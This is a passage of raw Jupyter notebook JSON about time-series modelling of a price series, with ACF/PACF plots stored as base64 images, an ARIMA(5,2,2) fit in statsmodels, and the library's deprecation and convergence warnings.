8qyr8vqurmo5ZliSJEmC+vYMS5IkSfUKwxGxNiLuj4itEfHeqsvTyyLioYi4JyI2R8SGqsvTayLiuojYGRE/bJp3fER8KyIeKP4/rsoy9oox6uqDEfFo0b42R8Trqyxjr4iIFRHxPyPivojYEhHvLubbtlqMU1e2rRYRcXRE/J+IuKuoqw8V821XLcapK9vVGCJiICL+MSJuKab7rl3VZphERAwAPwJeCwwCdwIXZ+a9lRasR0XEQ8DqzOzF7wqsXET8IrAH+HxmvrSY91+AJzPzI8XJ1nGZeWWV5ewFY9TVB4E9mflfqyxbr4mIk4CTMnNTRCwANgJvBC7FtnWIcerqzdi2DhERARybmXsi4ijgu8C7gTdhuzrEOHW1FttVWxHx74HVwMLMfEM/fhbWqWf4PGBrZj6YmUPAjcCFFZdJfSoz7wCebJl9IXB98ff1ND6Ya2+MulIbmbkjMzcVfz8D3Acsw7Z1mHHqSi2yYU8xeVTxL7FdHWaculIbEbEc+FXg002z+65d1SkMLwO2NU0P4oFzPAl8MyI2RsT6qgvTJ07MzB3Q+KAGllZcnl53RUTcXQyj6PnLaDMtIlYCPwf8ANvWuFrqCmxbhykuZW8GdgLfykzb1RjGqCuwXbXzMeA/ACNN8/quXdUpDEebeZ7tje2VmXkusA54V3GpW+qWTwGnA6uAHcBHKy1Nj4mI+cDXgPdk5tNVl6eXtakr21YbmTmcmauA5cB5EfHSiovUs8aoK9tVi4h4A7AzMzdWXZZO1SkMDwIrmqaXA9srKkvPy8ztxf87gb+mMcxE43usGMc4Op5xZ8Xl6VmZ+VjxgTMC/HdsXwcV4xS/BvxlZt5UzLZttdGurmxb48vM3cDtNMbA2q7G0VxXtqu2Xgn8enGP0Y3AayLiC/Rhu6pTGL4TOCMiTouIOcBFwM0Vl6knRcSxxQ0pRMSxwOuAH46/lWi0p0uKvy8B/rbCsvS00QNl4TewfQEHb975DHBfZv5Z0yLbVoux6sq2dbiIWBIRi4q/5wH/Cvi/2K4OM1Zd2a4Ol5m/n5nLM3MljUz1ncz8N/Rhu5pddQFmSmYeiIgrgNuAAeC6zNxScbF61YnAXzc+a5gNfDEzv1FtkXpLRHwJWAMsjohB4APAR4CvRMRlwCPAv66uhL1jjLpaExGraAxVegj47arK12NeCbwNuKcYswhwFbatdsaqq4ttW4c5Cbi++FalWcBXMvOWiPgetqtWY9XVDbar0vrueFWbr1aTJEmSWtVpmIQkSZJ0CMOwJEmSasswLEmSpNoyDEuSJKm2DMOSJEmqLcOwJEmSasswLEmSpNoyDEuSJKm2/n8AvBiHy/368QAAAABJRU5ErkJggg==\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "fig = plt.figure(figsize=(12,8))\n", - "ax1 = fig.add_subplot(211)\n", - "fig = plot_acf(df['Price Difference'].dropna(),lags=40,ax=ax1)\n", - "ax2 = fig.add_subplot(212)\n", - "fig = plot_pacf(df['Price Difference'].dropna(),lags=40,ax=ax2)" - ] - }, - { - "cell_type": "code", - "execution_count": 19, - "id": "03ffabd6", - "metadata": {}, - "outputs": [], - "source": [ - "# p=0, d=1, q=0 or 1\n", - "from statsmodels.tsa.arima_model import ARIMA" - ] - }, - { - "cell_type": "code", - "execution_count": 20, - "id": "fc3d5ed1", - "metadata": {}, - "outputs": [ - { - "name": "stderr", - "output_type": "stream", - "text": [ - "C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\statsmodels\\tsa\\arima_model.py:472: FutureWarning: \n", - "statsmodels.tsa.arima_model.ARMA and statsmodels.tsa.arima_model.ARIMA have\n", - "been deprecated in favor of statsmodels.tsa.arima.model.ARIMA (note the .\n", - "between arima and model) and\n", - "statsmodels.tsa.SARIMAX. These will be removed after the 0.12 release.\n", - "\n", - "statsmodels.tsa.arima.model.ARIMA makes use of the statespace framework and\n", - "is both well tested and maintained.\n", - "\n", - "To silence this warning and continue using ARMA and ARIMA until they are\n", - "removed, use:\n", - "\n", - "import warnings\n", - "warnings.filterwarnings('ignore', 'statsmodels.tsa.arima_model.ARMA',\n", - " FutureWarning)\n", - "warnings.filterwarnings('ignore', 'statsmodels.tsa.arima_model.ARIMA',\n", - " FutureWarning)\n", - "\n", - " warnings.warn(ARIMA_DEPRECATION_WARN, FutureWarning)\n", - "C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\statsmodels\\tsa\\base\\tsa_model.py:524: ValueWarning: No frequency information was provided, so inferred frequency D will be used.\n", - " warnings.warn('No frequency information was'\n", - "C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\statsmodels\\tsa\\base\\tsa_model.py:524: ValueWarning: No frequency information was provided, so inferred frequency D will be used.\n", - " warnings.warn('No frequency information was'\n", - "C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\statsmodels\\base\\model.py:547: HessianInversionWarning: Inverting hessian failed, no bse or cov_params available\n", - " warnings.warn('Inverting hessian failed, no bse or cov_params '\n", - "C:\\Users\\ankit\\anaconda3\\lib\\site-packages\\statsmodels\\tsa\\arima_model.py:472: FutureWarning: \n", - "statsmodels.tsa.arima_model.ARMA and statsmodels.tsa.arima_model.ARIMA have\n", - "been deprecated in favor of statsmodels.tsa.arima.model.ARIMA (note the .\n", - "between arima and model) and\n", - "statsmodels.tsa.SARIMAX. These will be removed after the 0.12 release.\n", - "\n", - "statsmodels.tsa.arima.model.ARIMA makes use of the statespace framework and\n", - "is both well tested and maintained.\n", - "\n", - "To silence this warning and continue using ARMA and ARIMA until they are\n", - "removed, use:\n", - "\n", - "import warnings\n", - "warnings.filterwarnings('ignore', 'statsmodels.tsa.arima_model.ARMA',\n", - " FutureWarning)\n", - "warnings.filterwarnings('ignore', 'statsmodels.tsa.arima_model.ARIMA',\n", - " FutureWarning)\n", - "\n", - " warnings.warn(ARIMA_DEPRECATION_WARN, FutureWarning)\n" - ] - } - ], - "source": [ - "model=ARIMA(df['Price'],order=(5,2,2))\n", - "model_fit=model.fit()" - ] - }, - { - "cell_type": "code", - "execution_count": 21, - "id": "697f4c9c", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "(367, 3)" - ] - }, - "execution_count": 21, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.shape" - ] - }, - { - "cell_type": "code", - "execution_count": 22, - "id": "1bec6a47", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 22, - "metadata": {}, - "output_type": "execute_result" - }, - { - "data": { - "image/png": "iVBORw0KGgoAAAANSUhEUgAAA3oAAAHrCAYAAACZ9u+3AAAAOXRFWHRTb2Z0d2FyZQBNYXRwbG90bGliIHZlcnNpb24zLjMuNCwgaHR0cHM6Ly9tYXRwbG90bGliLm9yZy8QVMy6AAAACXBIWXMAAAsTAAALEwEAmpwYAAChhklEQVR4nOzdd3RU57X38e+ZGY1670gCBAhE7xiDO+69x7ETO44Tpzi9OvfmTbvJTb0pjmM7TnFJHDuOk7jEvRfANNM7SKCKetdImnLeP6YgoS6N2uj3WYtlceacM8/IgGbP3s/ehmmaiIiIiIiISOiwjPUCREREREREJLgU6ImIiIiIiIQYBXoiIiIiIiIhRoGeiIiIiIhIiFGgJyIiIiIiEmJsY72AoUpJSTGnT58+1ssQEREREREZE9u2bas2TTO1p8cmbKA3ffp0tm7dOtbLEBERERERGROGYRzv7TGVboqIiIiIiIQYBXoiIiIiIiIhRoGeiIiIiIhIiJmwe/RERERERGTicjqdlJSU0NbWNtZLGfciIiLIzs4mLCxswNco0BMRERERkVFXUlJCbGws06dPxzCMsV7OuGWaJjU1NZSUlJCbmzvg61S6KSIiIiIio66trY3k5GQFef0wDIPk5ORBZz4V6ImIiIiIyJhQkDcwQ/k+KdATEREREREJMQr0RERERERkUrJarSxZsoQFCxZwww030Nra2uN5a9asGeWVDZ8CPRERERERmZQiIyPZsWMHe/bswW6388ADD3R53O12A7Bhw4axWN6wKNATEREREZFJ78wzz+TIkSO89dZbnHvuudx8880sXLgQgJiYmMB5P/vZz1i4cCGLFy/m7rvvBuDo0aNcfPHFLF++nDPPPJMDBw6MyWvoTOMVRERERERkTH3/ub3sK2sM6j3nTYnju1fMH9C5LpeLF198kYsvvhiAzZs3s2fPnm7jDF588UWefvppNm3aRFRUFLW1tQDceeedPPDAA+Tl5bFp0yY++9nP8sYbbwT19QyWAj0REREREZmUHA4HS5YsAbwZvTvuuIMNGzawatWqHmfWvfbaa9x+++1ERUUBkJSURHNzMxs2bOCGG24InNfe3j4q6++LAj0RERERERlTA828BZt/j96poqOjezzfNM1uow48Hg8JCQk93mcsaY+eiIiIiIjIAFx44YX8+c9/DnTnrK2tJS4ujtzcXP7xj38A3mBw586dY7lMQIGeiIiIiIjIgFx88cVceeWVrFixgiVLlvCLX/wCgMcee4w//elPLF68mPnz5/PMM8+M8UrBME1zrNcwJCtWrDC3bt061ssQEREREZEh2L9/P3Pnzh3rZUwYPX2/DMPYZprmip7OV0ZvEvnL+8fZUVw/1ssQEREREZERpkBvEvnJC/v5+5bisV6GiIiIiIiMMAV6k4TL7aGlw42jwzXWSxERERERkRGmQG+SaGrzBngOp3uMVyIiIiIiIiNNgd4k0eBwAtDaoUBPRERERCTUKdCbJBrbvIGeQ4GeiIiIiEjIU6A3STQ6vKWbyuiJiIiIiHjdc889zJ07l1tuuWWsl8LTTz/Nvn37gnY/BXqTRCCjpz16IiIiIiIA3Hfffbzwwgs89thj/Z7rco1sU0MFejIkjQ6VboqIiIiI+H3605+moKCAK6+8kv/7v//j6quvZtGiRaxevZpdu3YB8L3vfY8777yTCy+8kFtvvZWqqiquu+46Vq5cycqVK1m/fj0Azc3N3H777SxcuJBFixbxz3/+E4DPfOYzrFixgvnz5/Pd73438Nx333038+bNY9GiRXzta19jw4YNPPvss3z9619nyZIlHD16dNivzzbsO8iE4M/otWq8goiIiIiMNy/eDSd2B/eeGQvhkp/0+vADDzzASy+9xJtvvsn3v/99li5dytNPP80bb7zBrbfeyo4dOwDYtm0b7733HpGRkdx88818+ctf5owzzqCoqIiLLrqI/fv38z//8z/Ex8eze7f3NdTV1QHwox/9iKSkJNxuN+vWrWPXrl1kZ2fz73//mwMHDmAYBvX19SQkJHDllVdy+eWXc/311wfl5SvQmyT8XTdVuikiIiIi0tV7770XyMKdd9551NTU0NDQAMCVV15JZGQkAK+99lqX8srGxkaampp47bXXeOKJJwLHExMTAXjyySd58MEHcblclJeXs2/fPubNm0dERASf+MQnuOyyy7j88stH5DUp0Jsk/M1YnG4Tp9tDmFVVuyIiIiIyTvSReRsNpml2O2YYBgDR0dGBYx6Ph40bNwYCv87X+8/3Kyws5Be/+AVbtmwhMTGRj33sY7S1tWGz2di8eTOvv/46TzzxBPfeey9vvPFG0F+T3u1PEv7STVBWT0RERESks7POOivQkOWtt94iJSWFuLi4budd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